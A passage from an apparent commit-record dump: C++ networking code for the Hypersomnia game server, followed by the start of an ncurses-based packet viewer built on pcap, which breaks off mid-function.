(!should_skip)\n\t\t\t\t\t\t\t\t\t\/\/endpoint.commands.push_back(result);\n\t\t\t\t\t\t\t\t\tendpoint.commands.acquire_new_command(result);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tdefault: \n\t\t\t\t\t\t\tLOG(\"Server received invalid command: %x\", int(command)); stream = augs::stream();\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif (should_disconnect) {\n\t\t\t\t\tdisconnect(address);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tguid_mapped_entropy total_unpacked_entropy;\n\t\t\t\n\t\t\tif (cfg.debug_randomize_entropies_in_client_setup) {\n\t\t\t\tfor (size_t i = 1; i < scene.characters.size(); ++i) {\n\t\t\t\t\tif (test_entropy_randomizer.randval(0u, cfg.debug_randomize_entropies_in_client_setup_once_every_steps) == 0u) {\n\t\t\t\t\t\tconst unsigned which = test_entropy_randomizer.randval(0, 4);\n\n\t\t\t\t\t\tentity_intent new_intent;\n\n\t\t\t\t\t\tswitch (which) {\n\t\t\t\t\t\tcase 0: new_intent.intent = intent_type::MOVE_BACKWARD; break;\n\t\t\t\t\t\tcase 1: new_intent.intent = intent_type::MOVE_FORWARD; break;\n\t\t\t\t\t\tcase 2: new_intent.intent = intent_type::MOVE_LEFT; break;\n\t\t\t\t\t\tcase 3: new_intent.intent = intent_type::MOVE_RIGHT; break;\n\t\t\t\t\t\t\/\/case 4: new_intent.intent = intent_type::CROSSHAIR_PRIMARY_ACTION; break;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tnew_intent.pressed_flag = test_entropy_randomizer.randval(0, 1) == 0;\n\n\t\t\t\t\t\ttotal_unpacked_entropy.entropy_per_entity[hypersomnia[scene.characters[i].id].get_guid()].push_back(new_intent);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\terase_remove(endpoints, [this](endpoint& e) {\n\t\t\t\tif (choose_server(e.addr).has_timed_out(e.addr, hypersomnia.get_fixed_delta().in_milliseconds())) {\n\t\t\t\t\tLOG(\"%x has timed out. Disconnecting.\", e.nick_and_ip());\n\t\t\t\t\tdeinit_endpoint(e);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\n\t\t\t\treturn false;\n\t\t\t});\n\n\t\t\tfor (auto& e : endpoints) {\n\t\t\t\tguid_mapped_entropy maybe_new_client_commands;\n\t\t\t\tauto& next_command = e.next_command;\n\t\t\t\tnext_command = step_packaged_for_network();\n\n\t\t\t\tif (e.commands.unpack_new_command(maybe_new_client_commands)) {\n\t\t\t\t\ttotal_unpacked_entropy += maybe_new_client_commands;\n\n\t\t\t\t\te.next_command.next_client_commands_accepted = true;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tfor (auto& e : endpoints) {\n\t\t\t\tauto& next_command = e.next_command;\n\n\t\t\t\tnext_command.step_type = step_packaged_for_network::type::NEW_ENTROPY;\n\t\t\t\tnext_command.shall_resubstantiate = resubstantiate;\n\t\t\t\tnext_command.entropy = total_unpacked_entropy;\n\t\t\t\taugs::stream new_data;\n\t\t\t\taugs::write_object(new_data, network_command::PACKAGED_STEP);\n\t\t\t\taugs::write_object(new_data, next_command);\n\n\t\t\t\tchoose_server(e.addr).post_redundant(new_data, e.addr);\n\t\t\t}\n\t\t\t\n\t\t\tresubstantiate = false;\n\n\t\t\tserv.send_pending_redundant();\n\t\t\tif(start_alternative_server) alternative_serv.send_pending_redundant();\n\n\t\t\tcosmic_entropy id_mapped_entropy(total_unpacked_entropy, hypersomnia);\n\t\t\tscene.step_with_callbacks(id_mapped_entropy, hypersomnia);\n\n\t\t\tif (daemon_online) {\n\t\t\t\tstd::string this_step_stats;\n\t\t\t\tconst char* whb = \"<span style=\\\"color:white\\\">\";\n\t\t\t\tconst char* whe = \"<\/span>\";\n\n\t\t\t\tconst char* ipb = \"<span class=\\\"vstype\\\">\";\n\t\t\t\tconst char* ipe = \"<\/span>\";\n\n\t\t\t\tthis_step_stats += typesafe_sprintf(\"Uptime: %x%x%x seconds\\n\", whb, hypersomnia.get_total_time_passed_in_seconds(), whe);\n\t\t\t\tthis_step_stats += typesafe_sprintf(\"Players online: %x%x%x\", whb, endpoints.size(), whe);\n\n\t\t\t\tif (endpoints.size() > 0) {\n\t\t\t\t\tthis_step_stats += \"\\nPlayer list:\\n\\n\";\n\t\t\t\t}\n\n\t\t\t\tfor (size_t i = 0; i < endpoints.size(); ++i) {\n\t\t\t\t\tconst const_entity_handle character = hypersomnia[endpoints[i].controlled_entity];\n\n\t\t\t\t\tif (character.alive()) {\n\t\t\t\t\t\tauto pos = character.logic_transform().pos;\n\t\t\t\t\t\tauto vel = velocity(character);\n\n\t\t\t\t\t\tthis_step_stats += typesafe_sprintf(\"#%x%x%x %x (%x%x%x)\\nPos: %x%x%x\\nVel: %x%x%x\", whb, i+1, whe, endpoints[i].nickname, ipb, endpoints[i].addr.get_readable_ip(), ipe, whb, pos, whe, whb, vel, whe);\n\t\t\t\t\t}\n\n\t\t\t\t\tthis_step_stats += \"\\n\\n\";\n\t\t\t\t}\n\n\t\t\t\tthis_step_stats = replace_all(this_step_stats, \"\\n\", \"\\n<br\/>\");\n\n\t\t\t\trep.fetch_stats(this_step_stats);\n\t\t\t}\n\t\t}\n\t}\n\n\tif (!is_replaying)\n\t\trep.stop_daemon();\n}<commit_msg>build fix<commit_after>#include <thread>\n#include \"augs\/misc\/templated_readwrite.h\"\n#include \"game\/bindings\/bind_game_and_augs.h\"\n#include \"augs\/global_libraries.h\"\n#include \"application\/game_window.h\"\n\n#include \"game\/resources\/manager.h\"\n\n#include \"game\/scene_managers\/resource_setups\/all.h\"\n\n#include \"game\/transcendental\/types_specification\/all_component_includes.h\"\n#include \"game\/transcendental\/viewing_session.h\"\n#include \"game\/transcendental\/simulation_broadcast.h\"\n#include \"game\/transcendental\/cosmos.h\"\n#include \"game\/transcendental\/cosmic_delta.h\"\n\n#include \"game\/transcendental\/step_and_entropy_unpacker.h\"\n\n#include \"augs\/filesystem\/file.h\"\n\n#include \"server_setup.h\"\n#include \"game\/transcendental\/network_commands.h\"\n\n#include \"augs\/network\/reliable_channel.h\"\n\n#include \"augs\/misc\/randomization.h\"\n\n#include \"application\/web_daemon\/session_report.h\"\n\n#include \"augs\/templates.h\"\n\n#include \"game\/detail\/position_scripts.h\"\n\nvoid server_setup::wait_for_listen_server() {\n\tstd::unique_lock<std::mutex> lck(mtx);\n\twhile (!server_ready) cv.wait(lck);\n}\n\nstd::string server_setup::endpoint::nick_and_ip() const {\n\treturn typesafe_sprintf(\"%x (%x)\", nickname, addr.get_readable_ip());\n}\n\nserver_setup::endpoint& server_setup::get_endpoint(const augs::network::endpoint_address addr) {\n\treturn *find_in(endpoints, addr);\n}\n\nvoid server_setup::deinit_endpoint(endpoint& end, const bool gracefully) {\n\tLOG(\"%x disconnected.\", end.nick_and_ip());\n\n\tif (hypersomnia[end.controlled_entity].alive())\n\t\tscene.free_character(end.controlled_entity);\n\n\tif(!gracefully)\n\t\tchoose_server(end.addr).forceful_disconnect(end.addr);\n\telse\n\t\tchoose_server(end.addr).disconnect(end.addr);\n}\n\nvoid server_setup::deinit_endpoint(const augs::network::endpoint_address addr, const bool gracefully) {\n\tdeinit_endpoint(get_endpoint(addr), gracefully);\n}\n\nvoid server_setup::disconnect(const augs::network::endpoint_address addr, const bool gracefully) {\n\tdeinit_endpoint(addr, gracefully);\n\tremove_element(endpoints, addr);\n}\n\naugs::network::server& server_setup::choose_server(augs::network::endpoint_address addr) {\n\tif (serv.has_endpoint(addr)) {\n\t\treturn serv;\n\t}\n\n\tensure(alternative_serv.has_endpoint(addr));\n\treturn alternative_serv;\n}\n\nvoid server_setup::process(game_window& window, const bool start_alternative_server) {\n\tconst auto& cfg = window.config;\n\t\n\tsession_report rep;\n\n\tcosmos hypersomnia_last_snapshot(3000);\n\n\tcosmos initial_hypersomnia(3000);\n\tscene_managers::networked_testbed_server().populate_world_with_entities(initial_hypersomnia);\n\n\tstep_and_entropy_unpacker input_unpacker;\n\n\tconst bool detailed_step_log = cfg.tickrate <= 2;\n\n\tif (!hypersomnia.load_from_file(\"server_save.state\")) {\n\t\thypersomnia.set_fixed_delta(augs::fixed_delta(cfg.tickrate));\n\t\tscene.populate_world_with_entities(hypersomnia);\n\t}\n\n\tinput_unpacker.try_to_load_or_save_new_session(\"server_sessions\/\", \"server_recorded.inputs\");\n\n\tsimulation_broadcast server_sim;\n\n\tconst bool is_replaying = input_unpacker.player.is_replaying();\n\tconst bool launch_webserver = !is_replaying && cfg.server_launch_http_daemon;\n\t\n\tbool daemon_online = false;\n\n\tif (launch_webserver)\n\t\tdaemon_online = rep.start_daemon(cfg.server_http_daemon_html_file_path, cfg.server_http_daemon_port);\n\n\tif (is_replaying || serv.listen(cfg.server_port, 32))\n\t\tLOG(\"Listen server setup successful.\");\n\telse \n\t\tLOG(\"Failed to setup a listen server.\");\n\n\tif (start_alternative_server) {\n\t\tif (is_replaying || alternative_serv.listen(cfg.alternative_port, 32))\n\t\t\tLOG(\"Alternative listen server setup successful.\");\n\t\telse\n\t\t\tLOG(\"Failed to setup an alternative listen server.\");\n\t}\n\n\t{\n\t\tstd::unique_lock<std::mutex> lck(mtx);\n\t\tserver_ready = true;\n\t\tcv.notify_all();\n\t}\n\n\tbool resubstantiate = false;\n\t\n\tinput_unpacker.timer.reset_timer();\n\t\n\trandomization test_entropy_randomizer;\n\t\n\twhile (!should_quit) {\n\t\taugs::machine_entropy new_entropy;\n\n\t\tnew_entropy.local = window.collect_entropy();\n\t\tnew_entropy.remote = serv.collect_entropy();\n\n\t\tif (start_alternative_server) {\n\t\t\taugs::machine_entropy alt_entropy;\n\t\t\talt_entropy.remote = alternative_serv.collect_entropy();\n\t\t\n\t\t\tnew_entropy += alt_entropy;\n\t\t}\n\t\n\t\tprocess_exit_key(new_entropy.local);\n\n\t\tinput_unpacker.control(new_entropy);\n\n\t\tauto steps = input_unpacker.unpack_steps(hypersomnia.get_fixed_delta());\n\n\t\tfor (auto& s : steps) {\n\t\t\tif (detailed_step_log) {\n\t\t\t\tLOG(\"Server step\");\n\t\t\t}\n\n\t\t\tfor (auto& net_event : s.total_entropy.remote) {\n\t\t\t\tif (detailed_step_log) {\n\t\t\t\t\tLOG(\"Server netevent\");\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tconst auto& address = net_event.address;\n\n\t\t\t\tbool should_disconnect = false;\n\n\t\t\t\tif (net_event.message_type == augs::network::message::type::CONNECT) {\n\t\t\t\t\tLOG(\"%x connected to server on port %x.\", address.get_readable_ip(), address.get_port());\n\t\t\t\t\t\n\t\t\t\t\tendpoint new_endpoint;\n\t\t\t\t\tnew_endpoint.addr = net_event.address;\n\t\t\t\t\tnew_endpoint.commands.set_lower_limit(static_cast<size_t>(cfg.client_commands_jitter_buffer_ms) \/ hypersomnia.get_fixed_delta().in_milliseconds());\n\t\t\t\t\tendpoints.push_back(new_endpoint);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif (net_event.message_type == augs::network::message::type::DISCONNECT) {\n\t\t\t\t\tLOG(\"Disconnecting due to net event.\");\n\t\t\t\t\tshould_disconnect = true;\n\t\t\t\t}\n\n\t\t\t\tif (net_event.message_type == augs::network::message::type::RECEIVE) {\n\t\t\t\t\tauto& stream = net_event.payload;\n\t\t\t\t\tauto& endpoint = *find_in(endpoints, address);\n\t\t\t\t\t\n\t\t\t\t\tauto to_skip = net_event.messages_to_skip;\n\n\t\t\t\t\twhile (stream.get_unread_bytes() > 0) {\n\t\t\t\t\t\tconst bool should_skip = to_skip > 0;\n\n\t\t\t\t\t\tif (should_skip)\n\t\t\t\t\t\t\t--to_skip;\n\n\t\t\t\t\t\tnetwork_command command;\n\t\t\t\t\t\taugs::read_object(stream, command);\n\n\t\t\t\t\t\tif (detailed_step_log && !should_skip)\n\t\t\t\t\t\t\tLOG(\"Server received command: %x\", int(command));\n\n\t\t\t\t\t\tswitch (command) {\n\t\t\t\t\t\tcase network_command::CLIENT_WELCOME_MESSAGE: {\n\t\t\t\t\t\t\tstd::string read_nickname;\n\t\t\t\t\t\t\taugs::read_object(stream, read_nickname);\n\n\t\t\t\t\t\t\tif (!should_skip) {\n\t\t\t\t\t\t\t\tif (endpoint.sent_welcome_message) {\n\t\t\t\t\t\t\t\t\tLOG(\"Welcome message was resent. Disconnecting.\");\n\t\t\t\t\t\t\t\t\tshould_disconnect = true;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse {\n\t\t\t\t\t\t\t\t\tendpoint.sent_welcome_message = true;\n\t\t\t\t\t\t\t\t\tendpoint.nickname = read_nickname;\n\n\t\t\t\t\t\t\t\t\tif (!should_skip) {\n\t\t\t\t\t\t\t\t\t\tLOG(\"%x chose nickname %x.\", address.get_readable_ip(), endpoint.nickname);\n\n\t\t\t\t\t\t\t\t\t\tauto& complete_state = initial_hypersomnia.reserved_memory_for_serialization;\n\t\t\t\t\t\t\t\t\t\tcomplete_state.reset_write_pos();\n\n\t\t\t\t\t\t\t\t\t\taugs::write_object(complete_state, network_command::COMPLETE_STATE);\n\n\t\t\t\t\t\t\t\t\t\tcosmic_delta::encode(initial_hypersomnia, hypersomnia, complete_state);\n\n\t\t\t\t\t\t\t\t\t\thypersomnia.complete_resubstantiation();\n\t\t\t\t\t\t\t\t\t\tresubstantiate = true;\n\n\t\t\t\t\t\t\t\t\t\tendpoint.controlled_entity = scene.assign_new_character();\n\t\t\t\t\t\t\t\t\t\taugs::write_object(complete_state, hypersomnia[endpoint.controlled_entity].get_guid());\n\n\t\t\t\t\t\t\t\t\t\tchoose_server(address).send_reliable(complete_state, address);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\tcase network_command::CLIENT_REQUESTED_ENTROPY: {\n\t\t\t\t\t\t\tif (!endpoint.sent_welcome_message) {\n\t\t\t\t\t\t\t\tshould_disconnect = true;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse {\n\t\t\t\t\t\t\t\tguid_mapped_entropy result;\n\t\t\t\t\t\t\t\taugs::read_object(stream, result);\n\n\t\t\t\t\t\t\t\tif (!should_skip)\n\t\t\t\t\t\t\t\t\t\/\/endpoint.commands.push_back(result);\n\t\t\t\t\t\t\t\t\tendpoint.commands.acquire_new_command(result);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tdefault: \n\t\t\t\t\t\t\tLOG(\"Server received invalid command: %x\", int(command)); stream = augs::stream();\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif (should_disconnect) {\n\t\t\t\t\tdisconnect(address);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tguid_mapped_entropy total_unpacked_entropy;\n\t\t\t\n\t\t\tif (cfg.debug_randomize_entropies_in_client_setup) {\n\t\t\t\tfor (size_t i = 1; i < scene.characters.size(); ++i) {\n\t\t\t\t\tif (test_entropy_randomizer.randval(0u, cfg.debug_randomize_entropies_in_client_setup_once_every_steps) == 0u) {\n\t\t\t\t\t\tconst unsigned which = test_entropy_randomizer.randval(0, 4);\n\n\t\t\t\t\t\tentity_intent new_intent;\n\n\t\t\t\t\t\tswitch (which) {\n\t\t\t\t\t\tcase 0: new_intent.intent = intent_type::MOVE_BACKWARD; break;\n\t\t\t\t\t\tcase 1: new_intent.intent = intent_type::MOVE_FORWARD; break;\n\t\t\t\t\t\tcase 2: new_intent.intent = intent_type::MOVE_LEFT; break;\n\t\t\t\t\t\tcase 3: new_intent.intent = intent_type::MOVE_RIGHT; break;\n\t\t\t\t\t\t\/\/case 4: new_intent.intent = intent_type::CROSSHAIR_PRIMARY_ACTION; break;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tnew_intent.pressed_flag = test_entropy_randomizer.randval(0, 1) == 0;\n\n\t\t\t\t\t\ttotal_unpacked_entropy.entropy_per_entity[hypersomnia[scene.characters[i].id].get_guid()].push_back(new_intent);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\terase_remove(endpoints, [this](endpoint& e) {\n\t\t\t\tif (choose_server(e.addr).has_timed_out(e.addr, hypersomnia.get_fixed_delta().in_milliseconds())) {\n\t\t\t\t\tLOG(\"%x has timed out. Disconnecting.\", e.nick_and_ip());\n\t\t\t\t\tdeinit_endpoint(e);\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\n\t\t\t\treturn false;\n\t\t\t});\n\n\t\t\tfor (auto& e : endpoints) {\n\t\t\t\tguid_mapped_entropy maybe_new_client_commands;\n\t\t\t\tauto& next_command = e.next_command;\n\t\t\t\tnext_command = step_packaged_for_network();\n\n\t\t\t\tif (e.commands.unpack_new_command(maybe_new_client_commands)) {\n\t\t\t\t\ttotal_unpacked_entropy += maybe_new_client_commands;\n\n\t\t\t\t\te.next_command.next_client_commands_accepted = true;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tfor (auto& e : endpoints) {\n\t\t\t\tauto& next_command = e.next_command;\n\n\t\t\t\tnext_command.step_type = step_packaged_for_network::type::NEW_ENTROPY;\n\t\t\t\tnext_command.shall_resubstantiate = resubstantiate;\n\t\t\t\tnext_command.entropy = total_unpacked_entropy;\n\t\t\t\taugs::stream new_data;\n\t\t\t\taugs::write_object(new_data, network_command::PACKAGED_STEP);\n\t\t\t\taugs::write_object(new_data, next_command);\n\n\t\t\t\tchoose_server(e.addr).post_redundant(new_data, e.addr);\n\t\t\t}\n\t\t\t\n\t\t\tresubstantiate = false;\n\n\t\t\tserv.send_pending_redundant();\n\t\t\tif(start_alternative_server) alternative_serv.send_pending_redundant();\n\n\t\t\tcosmic_entropy id_mapped_entropy(total_unpacked_entropy, hypersomnia);\n\t\t\tscene.step_with_callbacks(id_mapped_entropy, hypersomnia);\n\n\t\t\tif (daemon_online) {\n\t\t\t\tstd::string this_step_stats;\n\t\t\t\tconst char* whb = \"<span style=\\\"color:white\\\">\";\n\t\t\t\tconst char* whe = \"<\/span>\";\n\n\t\t\t\tconst char* ipb = \"<span class=\\\"vstype\\\">\";\n\t\t\t\tconst char* ipe = \"<\/span>\";\n\n\t\t\t\tthis_step_stats += typesafe_sprintf(\"Uptime: %x%x%x seconds\\n\", whb, hypersomnia.get_total_time_passed_in_seconds(), whe);\n\t\t\t\tthis_step_stats += typesafe_sprintf(\"Players online: %x%x%x\", whb, endpoints.size(), whe);\n\n\t\t\t\tif (endpoints.size() > 0) {\n\t\t\t\t\tthis_step_stats += \"\\nPlayer list:\\n\\n\";\n\t\t\t\t}\n\n\t\t\t\tfor (size_t i = 0; i < endpoints.size(); ++i) {\n\t\t\t\t\tconst const_entity_handle character = hypersomnia[endpoints[i].controlled_entity];\n\n\t\t\t\t\tif (character.alive()) {\n\t\t\t\t\t\tauto pos = character.logic_transform().pos;\n\t\t\t\t\t\tauto vel = velocity(character);\n\n\t\t\t\t\t\tthis_step_stats += typesafe_sprintf(\"#%x%x%x %x (%x%x%x)\\nPos: %x%x%x\\nVel: %x%x%x\", whb, i+1, whe, endpoints[i].nickname, ipb, endpoints[i].addr.get_readable_ip(), ipe, whb, pos, whe, whb, vel, whe);\n\t\t\t\t\t}\n\n\t\t\t\t\tthis_step_stats += \"\\n\\n\";\n\t\t\t\t}\n\n\t\t\t\tthis_step_stats = replace_all(this_step_stats, \"\\n\", \"\\n<br\/>\");\n\n\t\t\t\trep.fetch_stats(this_step_stats);\n\t\t\t}\n\t\t}\n\t}\n\n\tif (!is_replaying)\n\t\trep.stop_daemon();\n}<|endoftext|>"}
{"text":"<commit_before>\n\n\n#include <pcap.h>\n#include <stdio.h>\n#include <poll.h>\n\n#include <vector>\n#include <queue>\n#include <algorithm>\n\n#include <slankdev\/util.h>\n#include <slankdev\/ncurses.h>\n#include <slankdev\/exception.h>\n#include <slankdev\/net\/protocol.h>\n\n\n\nclass Packet {\npublic:\n    uint8_t buf[2000];\n    size_t   len;\n    uint64_t time;\n    size_t   number;\n\n    Packet(const void* p, size_t l, uint64_t t, size_t n) :\n        len(l), time(t), number(n)\n    {\n        memcpy(buf, p, len);\n    }\n    std::string line()\n    {\n        using namespace slankdev;\n        std::string source;\n        std::string dest;\n        std::string proto;\n\n        ether* eth = reinterpret_cast<ether*>(buf);\n\n        char str[1000];\n        sprintf(str, \"%5zd %-13ld %-20s %-20s %6s %5zd %-10s\" , number, time,\n                eth->src.to_string().c_str(),\n                eth->dst.to_string().c_str(),\n                \"protocol\", len, \"summry\");\n        return str;\n    }\n};\n\n\n\nclass pane {\nprotected:\n    size_t current_x;\n    size_t current_y;\n    slankdev::ncurses& screen;\npublic:\n    const size_t x;\n    const size_t y;\n    const size_t w;\n    const size_t h;\n    pane(size_t ix, size_t iy, size_t iw, size_t ih, slankdev::ncurses& scr) :\n        x(ix), y(iy), w(iw), h(ih), current_x(ix), current_y(iy), screen(scr) {}\n    template <class... Arg>\n    void println(const char* fmt, Arg... arg)\n    {\n        screen.mvprintw(current_y++, current_x, fmt, arg...);\n        current_x = x;\n    }\n    template <class... Arg>\n    void println_hl(const char* fmt, Arg... arg)\n    {\n        attron(A_REVERSE);\n        screen.mvprintw(current_y++, current_x, fmt, arg...);\n        current_x = x;\n        attroff(A_REVERSE);\n    }\n    template <class... Arg>\n    void print(const char* fmt, Arg... arg)\n    {\n        char str[1000];\n        sprintf(str, fmt, arg...);\n        size_t len = strlen(str);\n        screen.mvprintw(current_y, current_x+=len, fmt, arg...);\n    }\n    void putc(char c)\n    {\n        if (c == '\\n') {\n            current_y ++ ;\n            current_x = x;\n        } else {\n            screen.mvprintw(current_y, current_x++, \"%c\", c);\n        }\n    }\n};\n\n\n\n\nclass Pane_list : public pane {\n    ssize_t cursor_index;\n    size_t  list_start_index;\npublic:\n    std::vector<Packet> packets;\n    ssize_t get_cursor() { return cursor_index; }\n    void dec_cursor()\n    {\n        if (cursor_index-1 < list_start_index) scroll_up();\n        if (get_cursor()-1 >= 0) cursor_index--;\n    }\n    void inc_cursor()\n    {\n        if (cursor_index+1-list_start_index >= h) scroll_down();\n        if (get_cursor()+1 < packets.size()) cursor_index++;\n    }\n    void scroll_up()   { list_start_index --; }\n    void scroll_down() { list_start_index ++; }\n    Pane_list(size_t ix, size_t iy, size_t iw, size_t ih,\n            slankdev::ncurses& scr) : pane(ix, iy, iw, ih, scr),\n            cursor_index(0), list_start_index(0) {}\n    void push_packet(const void* packet, struct pcap_pkthdr* hdr)\n    {\n        static int number = 0;\n        packets.emplace_back(packet, hdr->len, hdr->ts.tv_sec, number++);\n    }\n    void refresh()\n    {\n        current_x = x;\n        current_y = y;\n        println(\"%-5s %-13s %-20s %-20s %-6s %-5s %-10s\",\n                \"No.\", \"Time\", \"Source\", \"Destination\",\n                \"Protocol\", \"Len\", \"Info\");\n\n        size_t start_idx = list_start_index;\n        for (size_t i=start_idx, c=0; i<packets.size() && c<h; i++, c++) {\n            if (i == get_cursor())\n                println_hl(packets[i].line().c_str());\n            else\n                println(packets[i].line().c_str());\n        }\n    }\n};\n\n\n\n\n\nclass Pane_detail : public pane {\n    ssize_t cursor_index;\n    size_t  list_start_index;\npublic:\n    std::vector<std::string> lines;\n\n    ssize_t get_cursor() { return cursor_index; }\n    void dec_cursor()\n    {\n        if (cursor_index-1 < list_start_index) scroll_up();\n        if (get_cursor()-1 >= 0) cursor_index--;\n    }\n    void inc_cursor()\n    {\n        if (cursor_index+1-list_start_index >= h) scroll_down();\n        if (get_cursor()+1 < lines.size()) cursor_index++;\n    }\n    void scroll_up()   { list_start_index --; }\n    void scroll_down() { list_start_index ++; }\n\n    Pane_detail(size_t ix, size_t iy, size_t iw, size_t ih,\n            slankdev::ncurses& scr) : pane(ix, iy, iw, ih, scr) {}\n    void print_packet_detail(Packet* packet)\n    {\n        char str[1000];\n        sprintf(str, \"Packet Detail\");\n        lines.push_back(str);\n        sprintf(str, \" + number : %zd \", packet->number);\n        lines.push_back(str);\n        sprintf(str, \" + pointer: %p\", packet->buf);\n        lines.push_back(str);\n        sprintf(str, \" + length : %zd\", packet->len);\n        lines.push_back(str);\n        sprintf(str, \" + time   : %ld\", packet->time);\n        lines.push_back(str);\n    }\n    void refresh()\n    {\n        current_x = x;\n        current_y = y;\n        println(\"Detail pane\");\n        for (size_t i=0, c=0; i<lines.size() && c<h; i++, c++) {\n            if (i == get_cursor())\n                println_hl(\"%s\", lines[i].c_str());\n            else\n                println(\"%s\", lines[i].c_str());\n        }\n        for (size_t i=0; i<h-lines.size(); i++) {\n            for (size_t c=0; c<w; c++) print(\" \");\n            println(\"\");\n        }\n    }\n};\n\n\nclass Pane_binary : public pane {\n    ssize_t cursor_index;\n    size_t  list_start_index;\npublic:\n    std::vector<std::string> lines;\n\n    ssize_t get_cursor() { return cursor_index; }\n    void dec_cursor()\n    {\n        if (cursor_index-1 < list_start_index) scroll_up();\n        if (get_cursor()-1 >= 0) cursor_index--;\n    }\n    void inc_cursor()\n    {\n        if (cursor_index+1-list_start_index >= h) scroll_down();\n        if (get_cursor()+1 < lines.size()) cursor_index++;\n    }\n    void scroll_up()   { list_start_index --; }\n    void scroll_down() { list_start_index ++; }\n\n\n    Pane_binary(size_t ix, size_t iy, size_t iw, size_t ih,\n            slankdev::ncurses& scr) : pane(ix, iy, iw, ih, scr) {}\n    void hex(Packet* packet)\n    {\n        lines.clear();\n\n        const void* buffer = packet->buf;\n        size_t bufferlen   = packet->len;\n        char str[1000];\n\n        const uint8_t *data = reinterpret_cast<const uint8_t*>(buffer);\n        size_t row = 0;\n        std::string line;\n        while (bufferlen > 0) {\n            line.clear();\n\n            sprintf(str, \" %04zx:   \", row);\n            line += str;\n\n            size_t n;\n            if (bufferlen < 16) n = bufferlen;\n            else                n = 16;\n\n            for (size_t i = 0; i < n; i++) {\n                if (i == 8) { line += \" \"; }\n                sprintf(str, \" %02x\", data[i]);\n                line += str;\n            }\n            for (size_t i = n; i < 16; i++) { line += \"   \"; }\n            line += \"   \";\n            for (size_t i = 0; i < n; i++) {\n                if (i == 8) { line += \"  \"; }\n                uint8_t c = data[i];\n                if (!(0x20 <= c && c <= 0x7e)) c = '.';\n                sprintf(str, \"%c\", c);\n                line += str;\n            }\n            println(\"\");\n            lines.push_back(line);\n            bufferlen -= n;\n            data += n;\n            row  += n;\n        }\n    }\n    void refresh()\n    {\n        current_x = x;\n        current_y = y;\n        for (size_t i=0, c=0; i<lines.size() && c<h; i++, c++) {\n            if (i == get_cursor())\n                println_hl(\"%s\", lines[i].c_str());\n            else\n                println(\"%s\", lines[i].c_str());\n        }\n        for (size_t i=0; i<h-lines.size(); i++) {\n            for (size_t c=0; c<w; c++) print(\" \");\n            println(\"\");\n        }\n    }\n};\n\n\nenum cursor_state {\n    LIST,\n    DETAIL,\n    BINARY,\n};\n\n\nclass Statusline {\n    const size_t x;\n    const size_t y;\n    const size_t w;\n    const cursor_state& state;\npublic:\n    Statusline(size_t ix, size_t iy, size_t iw, cursor_state& c)\n        : x(ix), y(iy), w(iw), state(c) {}\n    const char* state2str(cursor_state s)\n    {\n        switch (s) {\n            case LIST:   return \"LIST   \";\n            case DETAIL: return \"DETAIL \";\n            case BINARY: return \"BINARY \";\n            default :    return \"UNKNOWN\";\n        }\n    }\n    void refresh()\n    {\n        mvprintw(y, x, \"[CUISHARK] pane=%s\", state2str(state));\n    }\n};\n\nsize_t a(size_t h) { return (h-1) % 3; }\nsize_t m(size_t h) { return ((h-1)-((h-1)%3))\/3; }\n#define H screen.geth()\n\nclass display {\n    slankdev::ncurses screen;\n    pcap_t *handle;\n    cursor_state cstate;\npublic:\n    Pane_list   pane_list;\n    Pane_detail pane_detail;\n    Pane_binary pane_binary;\n    Statusline statusline;\n\n    display() :\n        cstate(LIST),\n        pane_list  (0, 0          , screen.getw(), a(H)+m(H), screen),\n        pane_detail(0, a(H)+m(H)  , screen.getw(), m(H)     , screen),\n        pane_binary(0, a(H)+2*m(H), screen.getw(), m(H)     , screen),\n        statusline (0, a(H)+3*m(H), screen.getw(), cstate)\n    {\n        char errbuf[PCAP_ERRBUF_SIZE];\n        handle = pcap_open_live(\"lo\", BUFSIZ, 0, 0, errbuf);\n        \/\/ handle = pcap_open_offline(\"in.pcap\", errbuf);\n        if (handle == NULL) {\n            throw slankdev::exception(\"pcap_open_live\");\n        }\n        noecho();\n        screen.refresh();\n    }\n    ~display() { pcap_close(handle); }\n    void charnge_cstate()\n    {\n        switch (cstate) {\n            case LIST  : cstate = DETAIL; break;\n            case DETAIL: cstate = BINARY; break;\n            case BINARY: cstate = LIST  ; break;\n            default : throw slankdev::exception(\"UNKNOWN state\");\n        }\n    }\n    void press_j()\n    {\n        switch (cstate) {\n            case LIST  : pane_list.inc_cursor()  ; break;\n            case DETAIL: pane_detail.inc_cursor(); break;\n            case BINARY: pane_binary.inc_cursor(); break;\n            defaut: throw slankdev::exception(\"UNknown state\");\n        }\n    }\n    void press_k()\n    {\n        switch (cstate) {\n            case LIST  : pane_list.dec_cursor()  ; break;\n            case DETAIL: pane_detail.dec_cursor(); break;\n            case BINARY: pane_binary.dec_cursor(); break;\n            defaut: throw slankdev::exception(\"UNknown state\");\n        }\n    }\n    void press_enter()\n    {\n        switch (cstate) {\n            case LIST:\n            {\n                if (pane_list.packets.empty()) return;\n                Packet* pack = &pane_list.packets[pane_list.get_cursor()];\n                pane_detail.print_packet_detail(pack);\n                pane_binary.hex(pack);\n               